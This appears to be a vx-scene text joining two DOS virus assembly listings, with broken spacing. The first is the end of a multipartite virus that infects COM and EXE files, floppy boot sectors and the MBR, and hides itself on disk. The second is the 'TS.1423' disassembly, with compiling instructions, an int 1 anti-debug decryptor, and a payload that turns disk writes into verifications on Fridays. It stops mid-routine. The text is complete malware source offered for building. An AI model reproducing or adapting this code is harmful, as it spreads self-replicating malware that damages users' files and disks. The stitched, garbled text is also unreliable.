restore_i24_i1b_i23 :mov ax , 2524hlds dx ,dword ptr cs : ofs_i24call int21h ; Restore int 24hmov al , 1Bhlds dx ,dword ptr cs : ofs_i1bcall int21h ; Restore int 1Bhmov al , 23hlds dx ,dword ptr cs : ofs_i23call int21h ; Restore int 23hret

write_jmptovir :push cspop dspush cspop espush dimov si , offset ( _header )mov di , offset ( header )cldmovsw ; Save original bytes (3)movsbpop dimov ax , 4200hxor cx , cxxor dx , dxcall int21h ; Lseek startmov ofs_virus , dipush di

sub ofs_virus , 3mov ah, 40hmov cx , 3mov dx , offset ( jmp_virus )call int21h ; Write jmpmov host_type , 1 ; COM filepop diadd di , 100h ; Calculate delta offsetmov delta , diadd di , offset ( code_enc ) ; Where encrypted code startsmov st_code_enc , diclcret

write_header_exe :push cspop dspush cspop esmov si , offset ( _header )push simov di , offset ( header )mov cx , 1Chcldrep movsb ; Store headerpop simov ax ,[ si +( _pagecnt - _header )]mov dx , 512dec axmul dx ; (pagecnt-1)*512mov length_hi , dxmov dx ,[ si +( _partpag - _header )]clcadd ax , dx ; File size:=(pagecnt-1)*512+partpagadc length_hi , 0mov length_lo , axxor cx , cxmov dx , cxmov ax , 4202hcall int21h ; Lseek end (get real length)sub ax , length_losbb dx , length_hi ; File has internal overlays?jz no_overlays ; No? then jmpjmp stc_ret

no_overlays :push bxmov ax , 4202hxor cx , cxmov dx , cxcall int21h ; Lseek endpush ax ; Save lengthpush dxmov ax ,[ si +( _hdrsize - _header )]mov cl , 4shl ax , cl ; mul 16 = size of headerxchg ax , bxpop dx ; Get lengthpop axpush axpush dxsub ax , bx ; Sub size of headersbb dx , 0mov cx , 10h

div cx ; Calculate initial paragraphmov [ si +( _exeip - _header )], dxmov [ si +( _relocs - _header )], axpop dxpop axadd ax , offset ( length_virus ) ; New file lengthadc dx , 0mov cl , 9push axshr ax , cl ; div 512ror dx , clstcadc dx , axpop axand ah, 1mov [ si +( _pagecnt - _header )], dxmov [ si +( _partpag - _header )], axpop bxclcadd word ptr [ si +( _minmem- _header )], 39h ; why 39h?????

; (offset(vir_end)-length_virus+15)/16 (?)jnc nosub_minmemsub word ptr [ si +( _minmem- _header )], 39h

nosub_minmem:clcadd word ptr [ si +( _maxmem- _header )], 39hjnc nosub_maxmemsub word ptr [ si +( _maxmem- _header )], 39h

nosub_maxmem:mov cl , 4mov ax , offset ( end_virdata )shr ax , cl ; div 16mov dx ,[ si +( _relocs - _header )]add ax , dx ; Segment of stackmov [ si +( _reloss - _header )], axmov word ptr [ si +( _relosp - _header )], vstack - end_virdataxor cx , cxmov dx , cxmov ax , 4200hcall int21h ; Lseek startmov dx , simov ah, 40hmov cx , 1Chcall int21h ; Write headermov dx ,[ si +( _exeip - _header )]mov delta , dx ; Delta offsetadd dx , offset ( code_enc ) ; Where encrypted code startsmov st_code_enc , dxmov host_type , 3 ; EXE fileclcret

stc_ret :stcret

disinfect_file :call push_registerspushfcall normalize_fnamecall set_i24_i1B_i23mov cs : seg_fname , dsmov cs : ofs_fname , dx

call get_reset_attrjc r_intscall exe_or_com?or bp, bp ; Exe or Com?jz r_ints ; No? then jmpmov ax , 3D02hcall int21h ; Open I/Ojc r_intsmov bx , ax ; bx:=handlecall read_headercall check_if_execall get_ftimecall check_if_infected ; Infected?jnz close_file ; Yes? then jmpcall get_file_encryptioncmp bp, 1 ; COM file?jne jmp_disinfect_exe ; No? then jmpcall disinfect_comjmp quit_inf_mark

jmp_disinfect_exe :call disinfect_exe

quit_inf_mark :mov ax , cs : f_datercr ah, 1pushfsub ah, 100 ; Quit markpopfrcl ah, 1mov cs : f_date , ax

close_file :call restore_ftimemov ah, 3Ehcall int21h ; Close filemov ds , cs : seg_fnamemov dx , cs : ofs_fnamecall restore_attr

r_ints :call restore_i24_i1b_i23popfcall pop_registersret

lseek :mov ax , 4202hxor cx , cxxor dx , dxcall int21h ; Lseek endmov cx , dxmov dx , axsub dx , cs : ofs_virusmov ax , 4200hcall int21h ; Lseek to length(file)-ofs_virusret

truncate_file :mov cs : ofs_virus , offset ( length_virus )call lseek ; Lseek to start of viral codemov ah, 40hxor cx , cxcall int21h ; Truncate file (original size)ret

disinfect_com :mov cs : ofs_virus , 1Chcall lseek ; Lseek to length(file)-1Chmov ah, 3Fhmov cx , 3push cspop dsmov dx , offset ( _3bytes )push dxcall int21h ; Read original 3 bytesmov ax , 4200hxor cx , cxxor dx , dxcall int21h ; Lseek startmov al , code_maskpop sipush simov cx , 3push cxcall decrypt_bytes ; Decrypt original 3 bytespop cxpop dxmov ah, 40hcall int21h ; Restore hostcall truncate_file ; Truncate to original sizeret

int25 :mov cs : inout_flag , 1call dword ptr cs : ofs_i25mov cs : inout_flag , 0retf

int26 :mov cs : inout_flag , 1call dword ptr cs : ofs_i26mov cs : inout_flag , 0retf

mark_activity :mov cs : inout_flag , 0mov cs : tick_value , 8* 18 ; 8 secondsmov cs : tick_counter , 0ret

int17 :mov cs : inout_flag , 1pushfcall dword ptr cs : ofs_i17call mark_activityiret

check_boot_inf :push cspop espush cspop dsmov si , 3Ehadd si , bxmov cx , offset ( c_floppy )- offset ( floppy_code )mov di , offset ( floppy_code )cldrep cmpsb

ret

install_from_boot :mov al , 13hcall get_int_vector ; Get int 13h vectormov [ bp+ofs_i13 ], bx ; Store itmov [ bp+seg_i13 ], esmov [ bp+use_ports ], 0call check4idecmp al , 66h ; Can use ports?jne no_use_ports ; No? then jmpmov [ bp+use_ports ], 1

no_use_ports :call install_virusret

patch_i13 :push sipush dipush espush dspush cspop eslds si ,dword ptr es : ofs_i13push simov di , offset ( i13_5bytes )cldmovsw ; Save five bytesmovswmovsbpop siclimov byte ptr [ si ], 0EAh ; Insert a jmp far to cs:int_13mov word ptr [ si +1], offset ( int_13 )mov [ si +3], esstipop dspop espop dipop siret

int_13 :mov cs : inout_flag , 1call enable_FDpush sipush dipush espush dsmov si , offset ( i13_5bytes )push cspop dsles di ,dword ptr cs : ofs_i13cldmovsw ; Restore original 5 bytes of int 13hmovswmovsbpop dspop espop dipop sicmp dx , 80h ; 1st HD?jne not_stealth ; No? then jmp

cmp cx , 1 ; Track 0, sector 1?jne not_stealth ; No? then jmpcmp ah, 2 ; Read sector?je stealth_mbr_read ; Yes? then jmpcmp ah, 3 ; Write sector?je stealth_mbr_write ; Yes? then jmp

not_stealth :test dl , 80h ; Is a HD?jnz call_i13 ; Yes? then jmpjmp is_a_floppy

call_i13 :pushfcall dword ptr cs : ofs_i13_2

exit_i13 :mov cs : inout_flag , 0call disable_FDcall patch_i13 ; Patch int 13h againretf 2

stealth_mbr_read :push axpush bxpush cxpush dxpush espush axpush espush bxmov ah, 8int 13h ; Get current drive parameters inc ch ; Inc cylinderdec cl ; Dec sectorpop bxpop espop axpushfmov dl , 80hmov ah, 2int 13h ; Read original MBR (encrypted) mov cx , 512mov al , cs : mask_orig_mbr

dec_mbr_rd :xor es :[ bx ], al ; Decrypt the original MBRinc bxloop dec_mbr_rd

exit_mbr_stealth :popfpop espop dxpop cxpop bxpop axcall patch_i13retf 2

stealth_mbr_write :push axpush bxpush cxpush dxpush espush es

push bxpush axmov cx , 512mov al , cs : mask_orig_mbr

enc_mbr_wr :xor es :[ bx ], al ; Encrypt the new MBRinc bxloop enc_mbr_wrpop axpop bxpop espush axpush espush bxmov ah, 8int 13h ; Get current drive parameters inc ch ; Inc max. cylinderdec cl ; Dec max. sectorpop bxpop espop axmov dl , 80hmov ah, 3call int13h ; Write new original MBR (encripted)pushfmov cx , 512mov al , cs : mask_orig_mbr

dec_mbr_wr :xor es :[ bx ], al ; Decrypt MBRinc bxloop dec_mbr_wrjmp exit_mbr_stealth

is_a_floppy :pushfcall push_registerscmp ah, 2 ; Read sector?je read_write ; Yes? then jmpcmp ah, 3 ; Write sector?je read_write ; Yes? then jmpjmp infect_boot

read_write :or dh, dh ; Track 0?jnz infect_boot ; No? then jmpcmp cx , 1 ; Sector 1, track 0? trying boot?jnz infect_boot ; No? then jmppush cxpush dxpush axpush espush bxpush axpush cspop esmov si , 3

read_boot_again :mov ax , 0201hmov cx , 1mov dh, chmov bx , offset ( sector )call int13h ; Read bootdec si

jz infect_boot_pops ; 3 errors reading? then jmpjc read_boot_again ; error? then jmpcall check_boot_inf ; Infected?jne infect_boot_pops ; No? then jmpadd bx , offset ( vir_track )- offset ( floppy_code )+ 3Ehnop ; !? mov ch ,[ bx ] ; Virus trackpop axpop bxpop esmov al , 1mov cl , 0Dhcall int13h ; Read/write original bootpop axdec alpop dxpop cxinc clcall int13h ; And the rest of sectorsor cs : flags , 10h ; Don't need to call int 13hjmp infect_boot

infect_boot_pops :pop axpop bxpop espop axpop dxpop cx

infect_boot :xor ax , axmov ds , ax ; DS:=0cmp dl , 3 ; diskette?jbe test_motor ; Yes? then jmpjmp error_inf_boot

test_motor :mov cl , dlmov al , 1shl al , cl ; Set bit of drivemov cs : bit_drive , altest ds :[ 43Fh], al ; Diskette motor on?jnz error_inf_boot ; Yes? then jmppush cspop dspush dspop esmov si , 3mov drive , dl

read_boot :xor ax , axcall int13h ; Reset drive controllermov ax , 0201hmov cx , 1mov dh, chmov bx , offset ( sector )call int13h ; Read sectorjnc boot_loadeddec sijz error_inf_bootjmp read_boot

boot_loaded :

call check_boot_inf ; Already infected?jcxz error_inf_boot ; Yes? then jmpcall format_extra_track ; And write code to diskjc error_inf_bootpush cspop dsmov vir_track , ch ; Store new track mov word ptr jmp_bootcode , 3CEBh ; Encode jmp floppy_codemov byte ptr jmp_bootcode +2, 90hmov si , offset ( floppy_code )mov di , offset ( sector )+ 3ehpush dspop esmov cx , end_floppy_code - floppy_codecldrep movsbmov ax , 301hmov bx , offset ( sector )xor dh, dhmov cx , 1call int13h ; Write new boot sector

error_inf_boot :call pop_registerspopftest cs : flags , 10h ; Need to call int 13h?jnz no_call_i13 ; No? then jmpjmp call_i13

no_call_i13 :clcmov cs : flags , 0 ; Clear all flagsjmp exit_i13

format_extra_track :mov al , 1Ehcall get_int_vector ; Dir of diskette parametersclimov word ptr es :[ bx +3], 0D02h ; 2-> 512 bytes/sector

; 0Dh-> last sectorstimov ax , totsecsor ax , ax ; Total sectors=0?jz error_ft ; Yes? then jmpmov bx , trksecs ; Sectors per trackxor bh, bhcmp ax , bx ; Total sectors<=Sectors per track?jle error_ft ; Yes? then jmpdiv bl ; Calculate number of tracksmov bx , headcnt ; Number of headsxor bh, bhcmp ax , bx ; Number of tracks<=Number of heads?jle error_ft ; Yes? then jmpdiv bl ; Tracks per headmov ah, 1mov cx , 0Dh ; 13 sectorsmov di , offset ( format_table )push dipush cspop es

make_table_sectors :mov es :[ di ], al ; Trackmov byte ptr es :[ di +1], 0 ; Head 0mov es :[ di +2], ah ; Sector Number

mov byte ptr es :[ di +3], 2 ; Size (2-> 512)inc ah ; Next sectoradd di , 4 ; Next table entryloop make_table_sectorsmov dl , cs : drivemov ah, 5pop bxmov ch , almov cl , 1xor dh, dhcall int13h ; Format extra trackjc error_ftmov ax , 301hmov bx , offset ( sector )mov cl , 0Dhcall int13h ; Store original bootjc error_ftmov ax , 30Chxor bx , bxmov cl , 1call int13h ; Write code to diskret

error_ft :stcret

floppy_code :clixor ax , axmov ss , axmov sp , 7C00hpush cspop ds

c_floppy :mov ch , 50h ; Virus track

vir_track equ byte ptr $- 1xor dx , dxpush cspop esmov bx , 7E00hmov si , 3

read_track :mov ax , 20Chmov cl , 1int 13h ; Read code (12 sectors)dec sijz read_exec_bootjc read_trackmov bp, bxadd bx , offset ( install_from_boot )push dxpush cxcall bx ; call install_from_boot (infect MBR)pop cxpop dx

read_exec_boot :push sspop esmov ax , 201hmov bx , 7C00hmov cl , 0Dhpushf ; flags push ss ; 0

push bx ; 7C00hjmp dword ptr es :[ 13h* 4] ; Read & exec original boot

end_floppy_code :

;-------------------------------------------------- -------jmp dword ptr cs : ofs_i8 ; ?????

;-------------------------------------------------- -------

push_registers2 :pop cs : return_dir2push axpush bxpush cxpush dxpush espush dspush sipush dipush bpjmp cs : return_dir2

pop_registers2 :pop cs : return_dir2pop bppop dipop sipop dspop espop dxpop cxpop bxpop axjmp cs : return_dir2

int8 :pushfcall dword ptr cs : ofs_i8or cs : ticks_disableFD , 0 ; Time to disable FD?jz dis_fd ; Yes? then jmpdec cs : ticks_disableFD

dis_fd :cmp cs : ticks_disableFD , 0 ; Time to disable FD?jnz no_permission ; No? then jmptest cs : flags , 2 ; Permission to disable floppy? 1=nojz no_permission ; BUG!? call disable_FD ; call with bit1=1 -> doesn't disable FD!!and cs : flags , 11111101b

no_permission :call push_registers2xor ax , axmov ds , axles bx , ds :[ 33h* 4] ; Get mouse intpush cspop dsmov cx , esor cx , cx ; Int segment=0?jz mark_no_mouse ; Yes? then jmpcmp byte ptr es :[ bx ], 0CFh ; Int points to iret?je mark_no_mouse ; Yes? then jmpcmp mouse_checked , 1 ; Did I check the mouse?je serial_mouse ; Yes? then jmpmov no_mouse , 0xor ch , chmov mouse_checked , 1 ; Mark mouse checked

mov ax , 24hint 33h ; - MS MOUSE - Get soft version and type cmp ch , 2 ; Serial mouse? je serial_mouse ; Yes? then jmp

mark_no_mouse :mov no_mouse , 1 ; No serial mouse

serial_mouse :mov cx , 3xor bx , bxxor bp, bp

check_com :mov dx ,word ptr [ bx +com_ports ]inc bxinc bxor dx , dx ; Port installed?jz check_game ; No? then jmp

; BUG!? We can have COM4 without COM3in al , dx ; Read byte from portcall waste_timecmp al ,byte ptr cs :[ bp+data_com ] ; Actual byte=Previous?mov byte ptr cs :[ bp+data_com ], al ; Store actual byteje next_port ; Yes? then jmpcall mark_activityjmp check_game

next_port :inc bploop check_com ; Check next COM

check_game :mov dx , 201hin al , dx ; Game I/O portcall waste_timecmp al , data_game ; Actual byte=Previous byte?je check_keys ; Yes? then jmpcall mark_activity

check_keys :mov data_game , al ; Store actual bytein al , 60h ; AT Keyboard controller 8042.call waste_timetest al , 80h ; Key pressed?call pop_registers2jnz inc_tick_counter ; Yes? then jmpcall mark_activity

inc_tick_counter :push dspush espush bxpush cspop dsinc tick_countercmp tick_counter , 8* 18 ; < tick_value secs inactive?

tick_value equ word ptr $- 2jb exit_i8 ; Yes? then jmpcmp into_i21 , 0 ; int 21h active?jnz exit_i8 ; Yes? then jmpcmp inout_flag , 0 ; Input/output activity?jnz exit_i8 ; Yes? then jmples bx ,dword ptr ofs_flagdoscmp byte ptr es :[ bx ], 0 ; DOS inactive?jnz exit_i8 ; Yes? then jmples bx ,dword ptr ofs_swpdoscmp byte ptr es :[ bx ], 0 ; DOS swapping?jnz exit_i8 ; Yes? then jmpmov tick_counter , 0 ; Reset counter

call search_filesor tick_value , 0 ; Tick value=0?jz exit_i8 ; Yes? then jmpcmp word ptr no_mouse , 1 ; Mouse present but not checked?jz exit_i8 ; No? then jmpsub tick_value , 1* 18 ; 1 second

exit_i8 :pop bxpop espop dsiret

search_files :call push_registers2mov ah, 2Fhcall int21h ; Get DTA address in ES:BXmov ax , csmov dx , escmp ax , dx ; Virus already using DTA?jne change_dta ; No? then jmpjmp exit_sf

change_dta :mov ds : ofs_dta , bxmov ds : seg_dta , esmov ah, 1Ahmov dx , offset ( dta )call int21h ; Set DTAcmp fname_waiting , 1 ; Has a file waiting to be infected?je infect_via_i8 ; Yes? then jmpcmp searching , 1 ; Search in progress?je find_next ; Yes? then jmpmov ah, 4Ehmov cx , 3Fhtest search_execom , 1 ; Searching for COM?jnz search_exe ; Yes? then jmp mov dx , offset ( m_com)jmp find_first

search_exe :mov dx , offset ( m_exe)

find_first :call int21h ; Find first filejc change_ftypemov searching , 1 ; Mark searching filesmov dx , dta_date ; Get file datercr dh, 1cmp dh, 100 ; Infected?jb convert_relative ; No? then jmp

find_next :mov ah, 4Fhcall int21h ; Find nextjc change_ftypemov dx , dta_datercr dh, 1cmp dh, 100 ; Infected?jnb find_next ; Yes? then jmpjmp convert_relative

change_ftype :dec search_execom ; Next typemov searching , 0 ; Next time do a find-firstjmp restore_dta

infect_via_i8 :

mov dx , offset ( file_name )call try_to_infect_filemov fname_waiting , 0 ; Next time do a searchjmp restore_dta

convert_relative :mov si , offset ( dta_fname )mov di , offset ( file_name )push cspop esmov ah, 60hcall int21h ; Convert relative path to full pathmov fname_waiting , 1 ; Next time do an infectionjmp restore_dta ; Very stupid jmp!!!!

restore_dta :mov ah, 1Ahmov ds , cs : seg_dtamov dx , cs : ofs_dtacall int21h ; Restore DTA

exit_sf :call pop_registers2ret

decrypt_bytes :mov al , code_maskcmp crypt_method , 0 ; XOR encryption?je dec_xor ; Yes? then jmpcmp crypt_method , 1 ; NOT encryption?je dec_not ; Yes? then jmpcmp crypt_method , 2 ; ROR encryptionje dec_rol ; Yes? then jmpcmp crypt_method , 3 ; DEC encryption?je dec_inc ; Yes? then jmp

dec_xor :xor [ si ], alinc siloop dec_xorret

dec_not :not byte ptr [ si ]inc siloop dec_notret

dec_rol :rol byte ptr [ si ], 1inc siloop dec_rolret

dec_inc :inc byte ptr [ si ]inc siloop dec_incret

disinfect_exe :push cspop dscall read_headermov ofs_virus , length_virus - offset ( header )call lseek ; Lseek to length(file)-1Chmov ah, 3Fh

mov cx , 1Chmov dx , offset ( header )call int21h ; Read stored header (encrypted)mov si , dxpush sicall decrypt_bytes ; Decrypt headermov ax , 4200hxor cx , cxxor dx , dxcall int21h ; Lseek startpop dxmov ah, 40hmov cx , 1Chcall int21h ; Write original headercall truncate_file ; and truncate file to original lengthret

get_int_vector : ; Input: al:=int.numberpush dspush sixor ah, ahmov si , 4mul simov si , axxor ax , axmov ds , ax ; ds:=0les bx ,[ si ] ; get int vector in es:bxpop sipop dsret

m_com db '*.COM' , 0m_exe db '*.EXE' , 0

header :signature dw 20CDhpartpag dw 0pagecnt dw 0relocnt dw 0hdrsize dw 0minmem dw 0maxmem dw 0reloss dw 0relosp dw 0chksum dw 0exeip dw 0relocs dw 0tabloff dw 0ovr dw 0

length_virus :

buffer :ofs_1c dw ?seg_1c dw ?

_header :_signature dw ?_partpag dw ?_pagecnt dw ?_relocnt dw ?_hdrsize dw ?_minmem dw ?

_maxmem dw ?_reloss dw ?_relosp dw ?_chksum dw ?_exeip dw ?_relocs dw ?_tabloff dw ?_ovr dw ?

stored_psp dw ?clusters_avail dw ?stored_drive db ?loading_dos db ?xchg1 equ byte ptr $tunnel_ok equ byte ptr $seg_fname dw ?xchg2 equ byte ptr $+1ofs_fname dw ?

db ?,?

_3bytes db ?,?,?db ?

seg_psp dw ?ofs_i21 dw ?seg_i21 dw ?ofs_i13 dw ?seg_i13 dw ?flags db ?ticks_disableFD dw ?ofs_i13_2 dw ?seg_i13_2 dw ?ofs_i24 dw ?seg_i24 dw ?ofs_i1b dw ?seg_i1b dw ?ofs_i23 dw ?seg_i23 dw ?ofs_i8 dw ?seg_i8 dw ?ofs_i25 dw ?seg_i25 dw ?ofs_i26 dw ?seg_i26 dw ?ofs_i17 dw ?seg_i17 dw ?length_lo dw ?length_hi dw ?f_date dw ?emul_pushf equ word ptr $f_time dw ?attribs dw ?boot_i21 dw ?filename equ word ptr $ep_ip dw ? ; Also filenameep_cs dw ? ; 8bytes+'.'+3bytes+0

db ?db ?db ?db ?

point db ? ; '.'filename_ext equ word ptr $ ; 3bytesseg_stop dw ?

db ?

db ?code_mask db ?ofs_dta dw ?seg_dta dw ?dta :

db 15h dup (?)dta_attr db ?dta_time dw ?dta_date dw ?dta_sizel dw ?dta_sizeh dw ?dta_fname db 0dh dup (?)inout_flag db ?tick_counter dw ?into_i21 db ?fname_waiting db ?search_execom db ?searching db ?no_mouse db ?mouse_checked db ?drive equ byte ptr $use_ports db ?bit_drive db ?data_com : db ? ; COM1

db ? ; COM2db ? ; COM3db ? ; COM4

com_ports : dw ? ; Address of COM1dw ? ; COM2dw ? ; COM3dw ? ; COM4

data_game db ?file_name db 67 dup (?)return_dir dw ?return_dir2 dw ?activity_checks db ?ofs_sft dw ?ofs_flagdos dw ?seg_flagdos dw ?ofs_swpdos dw ?seg_swpdos dw ?crypt_method db ?jmp_virus db ?ofs_virus dw ?i13_5bytes db 5 dup (?)

end_virdata equ word ptr $

sector :jmp_bootcode db 3 dup (?)

db 8 dup (?)sectsize dw ?clustsize db ?ressecs dw ?fatcnt db ?rootsize dw ?totsecs dw ?media db ?fatsize dw ?trksecs dw ?headcnt dw ?hidnsec dw ?

db ( 512 -($- offset ( sector ))) dup (?)

format_table equ $vstack equ $- 70hs_mbr equ $- 70h+1buffer_enc equ $+34h

org $+34hdb 512 dup (?)

vir_end equ $

v6000 endsend start

; TS.1423; ************************************************* ***********************>; V irus disassembly by Tcp;; Virus : TS.1423; Author: Unknown; Where : Spain;; This is a pretty curious virus i disassembled a few time ago, when 29A; wasn't more than a project :) It's well programm ed and its best feature; is the encryption routine, based on tracing th e code via int 1, which; makes the virus decryption and disassembly qui te difficult. About the; rest of the virus, just a little mention about th e UMB residency and the; payloads (nothing special). I'd describe it as fo llows:;; þ Infects COM and EXE files on closing (3eh); þ Encrypted; uses a decryption routine via i nt 1; þ Thus, highly antidebugging :); þ It doesn't infect *AN*.* (Scan, TbScan...); þ Marks clusters as bad on floppies if the y ear is above 1995; þ On friday, if the year is above 1995, chan ges disk writes to disk; verifications;; Btw... this source code was fully commented in sp anish, but i'm too lazy; to translate it and it's easy to understand, so i'll leave it uncommen-; ted; if you have any doubt about it, look for me in #virus or e-mail me; at [email protected].;; Compiling instructions:;; tasm /m ts1423.asm; tlink ts1423.obj; exe2bin ts1423.exe ts1423.com

_bytes equ ( header - start )+( _length - start )-( end_decr - start )_parag equ _bytes / 16+1

ts1423 segment byte publicassume cs : ts1423 , ds : ts1423org 0

start : call get_delta

_mask db 0

int_1 : xor byte ptr cs :[ di ], 0aahmov bp, spmov di ,[ bp]xor byte ptr cs :[ di ], 0aahiret

get_delta : pop sipushfpush dspush espushfxor ax , axmov ds , axmov ax , siinc axmov ds :[ 0004 ], axmov ds :[ 0006 ], cs

mov bp, sppushfxor byte ptr [ bp- 1], 1mov di , siadd di , offset end_decr - 2popfmov ah, cs :[ si ]

; First byte, encrypted with aah ; Decrypted instru ction ;; *******************************Å***************** ***** ;; ³ :

db 29h , 0eeh , 3 ; sub si,3 -> offset int_1db 21h , 0d6h ; mov dx,sidb 13hdw offset _length - offset end_decr ; mov cx,offset...db 2bh , 0c6hdw offset end_decr ; add si,offset end_decrdb 56h ; cld

loop_1 : db 84h , 30h , 24h ; xor cs:[si],ah ; Second routinedb 0ech ; inc sidb 48h , 0fah ; loop loop_1

end_decr : db 37h ; popf -> trace off (int_1 inactive)

mov si , dxcmp cs :[ si +file_type ], 0je com_filemov ax , csadd cs :[ si +file_cs ], axmov ax , cs :[ si +file_cs ]add cs :[ si +file_ss ], ax

com_file : mov bx , 'TC'mov ax , '0.'int 21hor ax , axjne no_residentjmp no_activation

no_resident : cmp al , 5jb no_UMBmov ax , 5800hint 21h

push axmov ax , 5802hint 21h

push axxor dx , dxmov ax , 5803hmov bx , 1int 21h

jc UMB_errormov ax , 5801hmov bx , 81hint 21h

jc UMB_errormov bx , _paragmov ah, 48hint 21h

jc UMB_errormov dx , ax

UMB_error : pop bxxor bh, bhmov ax , 5803hint 21h

pop bxxor bh, bhmov ax , 5801hint 21h

mov ax , dxor ax , axjnz mem_ok

no_UMB: mov ax , esdec axmov ds , axmov bx , ds :[ 0003 ]sub bx , _parag +1mov ah, 4ahint 21h

mov bx , _paragmov ah, 48hint 21h

mem_ok: mov es , axdec axmov ds , axmov ah, 2ahint 21h

mov es : year , clcmp cl , 0cahja y_1995xor al , al

y_1995 : push axmov word ptr ds :[ 0001 ], 8push sipush cspop dsxor di , dimov cx , offset _lengthrep movsbpop simov dx , esmov ds , dxmov ax , 3521hint 21h

mov ds : ofs_int21 , bxmov ds : seg_int21 , esmov es , dxmov dx , offset int_21mov ax , 2521hint 21h

pop axcmp al , 5

jne no_activationpush es

mov ax , 3513hint 21h

mov ds : ofs_int13 , bxmov ds : seg_int13 , espop esmov dx , offset int_13mov ax , 2513hint 21h

no_activation : pop espop dscmp cs :[ si +file_type ], 0je exec_com

popfclimov ss , cs :[ si +file_ss ]mov sp , cs :[ si +file_sp ]stixor ax , axxor bx , bxxor cx , cxxor dx , dxxor si , sixor di , dixor bp, bp

db 0eahfile_ip dw 0file_cs dw 0

exec_com : popfadd si , offset bytes_commov di , 100hpush dimov cx , 3rep movsbret

int_21 : cmp ah, 30hje get_OScmp ah, 57hje f_datecmp ah, 3chje open_functionscmp ah, 5bhje open_functionscmp ah, 3dhje open_functionscmp ah, 6chje open_functionscmp ah, 3ehje closecmp ah, 4bhje exec

jmp_21 : jmp dword ptr cs : ofs_int21

call_21 : pushf

call dword ptr cs : ofs_int21

int_ret : push bpmov bp, spjc put_errorand byte ptr [ bp+6], 0FEhpop bpiret

put_error : or byte ptr [ bp+6], 1pop bpiret

get_OS : cmp al , '.'jne jmp_21cmp bx , 'TC'jne jmp_21xor ax , axiret

f_date : or al , aljz jmp_21xor al , alpush cxpush dxpushfcall dword ptr cs : ofs_int21jc error_g_date

and cx , 1fhcmp cx , 1fhpop dxpop cxmov al , 1jnz jmp_jmp21or cx , 1fh

jmp_jmp21 : jmp jmp_21

error_g_date : pop dxpop cxjmp int_ret

open_functions : call mark_badcall valid_namejc jmp_21pushfcall dword ptr cs : ofs_int21jc int_ret

mov cs : handle , axjmp int_ret

close : cmp cs : handle , bxjne jmp_21pushfcall dword ptr cs : ofs_int21jc int_retjmp infection

exec : call valid_namejc jmp_jmp21_2jmp infection

jmp_jmp21_2 : jmp jmp_21

infection : push axpush bxpush cxpush dxpush sipush dipush dspush espush cspop dsmov dx , offset file_namecall get_drivemov ah, 36hint 21h

cmp ax , 0ffffhje jmp_end_infect

mul bxmul cxor dx , dxjnz spacecmp ax , offset _lengthjae space

jmp_end_infect : jmp end_infect

space : mov ax , 3524hint 21h

mov cs : ofs_int24 , bxmov cs : seg_int24 , espush cspop esmov dx , offset int_24mov ax , 2524hint 21h

mov dx , offset file_namemov ax , 4300hint 21h

jc jmp_set_24mov cs : file_attribs , cxxor cx , cxmov ax , 4301hint 21hjnc open_file

jmp_set_24 : jmp set_24

open_file : mov ax , 3d02hpushfcall dword ptr cs : ofs_int21jnc file_openedjmp set_attribs

file_opened : mov bx , axcall get_datetimejc jmp_jmp_close

call lseek_endjc jmp_jmp_closemov si , axmov di , dxor dx , dxjnz valid_lengthcmp ax , offset _lengthjb jmp_jmp_close

valid_length : call lseek_startjc jmp_jmp_closemov cx , 1chmov dx , offset headermov ah, 3fhint 21h

jc jmp_jmp_closepush dimov di , dxcmp word ptr [ di ], 'ZM'pop dijz exe_infect

mov cs : file_type , 0sub si , 3mov cs : jmp_offset , siadd si , offset _length +3jc jmp_jmp_closemov si , dxmov di , offset bytes_commov cx , 3cldrep movsbjmp exe_com

exe_infect : mov cs : file_type , 1cmp cs : hdrsize , 0jne no_hdr_0

jmp_jmp_close : jmp jmp_close_file

no_hdr_0 : mov ax , cs : exe_spmov cs : file_sp , axmov ax , cs : relo_ssmov cs : file_ss , axmov ax , cs : exe_ipmov cs : file_ip , axmov ax , cs : relo_csmov cs : file_cs , axsub cs : file_ss , axmov ax , cs : page_cntcmp cs : part_pag , 0je no_subdec ax

no_sub : mov cx , 200hmul cxadd ax , cs : part_pagadc dx , 0cmp ax , sijne jmp_jmp_closecmp dx , di

jne jmp_jmp_closepush axpush dxadd ax , offset _lengthadc dx , 0mov cx , 200hdiv cx

or dx , dxjz no_addinc ax

no_add : mov cs : page_cnt , axmov cs : part_pag , dxpop dxpop axmov cx , 10hdiv cxmov cs : exe_ip , dxsub ax , cs : hdrsizemov cs : relo_cs , axsub cs : file_cs , axmov cs : relo_ss , axmov cs : exe_sp , offset f_stackcall lseek_startjc jmp_close_file

mov cx , 1chmov dx , offset headermov ah, 40hint 21hjc jmp_close_file

exe_com : call lseek_endjc jmp_close_filepush esxor dx , dxmov es , dxmov ah, es :[ 046ch ]or ah, ahjnz mask_no_0mov ah, 43h

mask_no_0 : mov cs : _mask, ahpop esmov cx , offset end_decrmov ah, 40hint 21hjnc no_write_error

jmp_close_file : jmp close_file

no_write_error : mov ah, cs : _maskmov si , offset end_decrmov di , offset headermov cx , offset _length - offset end_decrcld

loop_encrypt : lodsbxor al , ahmov [ di ], alinc diloop loop_encrypt

mov cx , offset _length - offset end_decrmov dx , offset headermov ah, 40hint 21h

jc set_datecmp cs : file_type , 1je set_datecall lseek_startjc set_datemov cx , 3mov dx , offset jmp_opmov ah, 40hint 21h

set_date : call set_datetime

close_file : mov ah, 3ehpushfcall dword ptr cs : ofs_int21

set_attribs : mov dx , offset file_namemov cx , cs : file_attribsmov ax , 4301hint 21h

set_24 : lds dx ,dword ptr cs : ofs_int24mov ax , 2524hint 21h

end_infect : pop espop dspop dipop sipop dxpop cxpop bxpop axmov cs : handle , 0ffffhcmp ah, 4bhje jmp_jmp21_3clcjmp int_ret

jmp_jmp21_3 : jmp jmp_21

int_24 : xor al , aliret

int_13 : cmp ah, 3jne no_writemov ah, 4

no_write : jmp dword ptr cs : ofs_int13

get_datetime : push axpush cxpush dxmov ax , 5700hpushfcall dword ptr cs : ofs_int21jc no_infect

mov cs : file_date , dxmov cs : file_time , cxand cx , 1fhcmp cx , 1fhje no_infector cs : file_time , 1fhjmp end_getdate

no_infect : stc

end_getdate : pop dxpop cxpop axret

set_datetime : push axpush cxpush dxmov dx , cs : file_datemov cx , cs : file_timemov ax , 5701hpushfcall dword ptr cs : ofs_int21pop dxpop cxpop axret

valid_name : cmp cs : handle , 0ffffhje readystcret

ready : push axpush sipush dicmp ah, 6chje si_okmov si , dx

si_ok : cldmov di , offset file_name

